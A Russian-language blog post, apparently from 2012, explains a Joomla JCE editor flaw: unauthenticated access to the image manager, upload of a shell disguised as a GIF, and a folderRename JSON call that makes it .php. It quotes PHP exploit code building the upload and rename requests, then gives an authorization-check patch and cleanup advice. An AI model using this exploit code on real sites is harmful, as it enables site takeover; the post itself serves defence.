Уязвимость редактора JCE

В начале декабря 2012г. прошла волна взлома сайтов на Joomla, использующих редактор JCE.
Разработчики редактора рекомендуют обновиться до последней версии http://www.joomlacontenteditor.net/news/item/jce-2011-released
Т.к. зачастую по вполне объективным причинам нет желания обновлять какой-то плагин (например JCE невозможно обновить с версии 1.5.х до 2.х.х, его нужно только удалять и ставить заново или, например, у вас были модификации кода под ваши нужды, да и просто, кто даст гарантию, что не будет обнаружена уязвимость в новой версии..), в общем для понимания что происходит полезно попробовать вникнуть в суть уязвимости и просто её пропатчить, чем, я собственно, и занялся не спеша.

Я пока не настолько крут чтобы просто просмотреть коды php и найти сходу где уязвимость (разработчики детали не сообщают, что, пожалуй правильно), поэтому полез искать подсказки. В Рунете как всегда информации по этому поводу нет, одни мычания, типа «меня взломали, чо делать??» и ответы типа «Удаляй/обновляй JCE». Поэтому как всегда информацию по крупицам нашел на англоязычных сайтах.
В общем, суть в том что при обращении к компоненту JCE не происходит проверка аутентификации.
Запрос вида http://адрес.сайта/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager на первый взгляд ведет бесправного пользователя на страницу http://адрес.сайта/index.php, но на самом деле — это срабатывает Яваскриптовый редирект, отключив JavaScript, по вышеуказанному адресу вы попадете в панель JCE!
Заливается шелл под видом картинки, с расширением jpg, gif и т.п.
Далее злоумышленники используют баг в методе «folderRename», позволяющий обойти ограничения на работу с файлами и меняет расширение этого файла на «.php». Этот метод вызывается через Json.

Вот кусок кода эксплойта:

                $content = "GIF89a1\n";
                $content .= file_get_contents($_FILES['datafile']['tmp_name']);
                $data    = "-----------------------------41184676334\r\n";
                $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
                $data   .= "/\r\n";
                $data   .= "-----------------------------41184676334\r\n";
                $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";
                $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
                $data   .= "-----------------------------41184676334\r\n";
                $data   .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";
                $data   .= "0\r\n";
                $data   .= "-----------------------------41184676334\r\n";
                $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";
                $data   .= "Content-Type: image/gif\r\n\r\n";
                $data   .= "$content\r\n";
                $data   .= "-----------------------------41184676334\r\n";
                $data   .= "0day\r\n";
                $data   .= "-----------------------------41184676334\r\n";
                $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
                $data   .= "upload\r\n";
                $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
                $packet  = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n";
                $packet .= "Host: ".$host."\r\n";
                $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
                $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
                $packet .= "Accept-Language: en-us,en;q=0.5\r\n";
                $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
                $packet .= "Connection: Close\r\n";
                $packet .= "Proxy-Connection: close\r\n";
                $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
                $packet .= $data;

                sendpacket($packet,0,0,0);

                                              /* Packet 3 --> Change Extension from .gif to .php */

                $packet  = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
                $packet .= "Host: ".$host."\r\n";
                $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
                $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
                $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
                $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
                $packet .= "Accept-Encoding: deflate\n";
                $packet .= "X-Request: JSON\r\n";
                $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
                $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
                $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
                $packet .= $ren."\r\n\r\n";

Как вылечить:
Мой рецепт, в файле /components/com_jce/jce.php

    <?php
    /**
    * @version      $Id: jce.php 140 2009-06-27 11:53:32Z happynoodleboy $
    * @package      Joomla Content Editor (JCE)
    * @subpackage   Components
    * @copyright   Copyright (C) 2005 - 2009 Ryan Demmer. All rights reserved.
    * @license      GNU/GPL
    * JCE is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    */

    // no direct access
    defined('_JEXEC') or die ('Restricted access');

    define('JCE_PATH', JPATH_PLUGINS.DS.'editors'.DS.'jce');
    define('JCE_PLUGINS', JCE_PATH.DS.'tiny_mce'.DS.'plugins');
    define('JCE_LIBRARIES', JCE_PATH.DS.'libraries');
    define('JCE_CLASSES', JCE_LIBRARIES.DS.'classes');

    $task = JRequest::getCmd('task');
    ...........
    ...........

Добавить проверку аутентификации.

    <?php
    /**
    * @version      $Id: jce.php 140 2009-06-27 11:53:32Z happynoodleboy $
    * @package      Joomla Content Editor (JCE)
    * @subpackage   Components
    * @copyright   Copyright (C) 2005 - 2009 Ryan Demmer. All rights reserved.
    * @license      GNU/GPL
    * JCE is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    */

    // no direct access
    defined('_JEXEC') or die ('Restricted access');

    define('JCE_PATH', JPATH_PLUGINS.DS.'editors'.DS.'jce');
    define('JCE_PLUGINS', JCE_PATH.DS.'tiny_mce'.DS.'plugins');
    define('JCE_LIBRARIES', JCE_PATH.DS.'libraries');
    define('JCE_CLASSES', JCE_LIBRARIES.DS.'classes');

    $task = JRequest::getCmd('task');
    $user    =& JFactory::getUser();
    if (!$user->authorize('com_jce', $task)) {
       $mainframe->redirect('index.php', JText::_('ALERTNOTAUTH'));
    }
    ..........
    ..........

Также нужно что-то сделать на свое усмотрение с методом «folderRename» в файле /plugins/editors/jce/libraries/classes/manager.php.

ПОЛЕЗНО  Virtuemart: вывод списка уменьшенных фото на странице товара

P.S. Для тех кто не совсем понял, что здесь написано, но готов повторить. Надеюсь, вы понимаете, что это защитит сайт от возможности взлома, но если ваш сайт уже взломан то перед тем как это все делать, его нужно вычистить от заразы (ну-ну) или полностью переустановить из бэкапа, ведь вы имеете бэкапы сайта, и как минимум 2 на разных носителях ? ..


В качестве альтернативы можно использовать патч, закрывающий данную уязвимость. Для установки патча файл jce_patch.php из архива помещаем рядом с index.php в корне сайта, а в самом index.php ищем строку $mainframe->initialise(); и добавляем за ней строку include ‘jce_patch.php’;

доп.ссылка на патч: патч для редактора JCE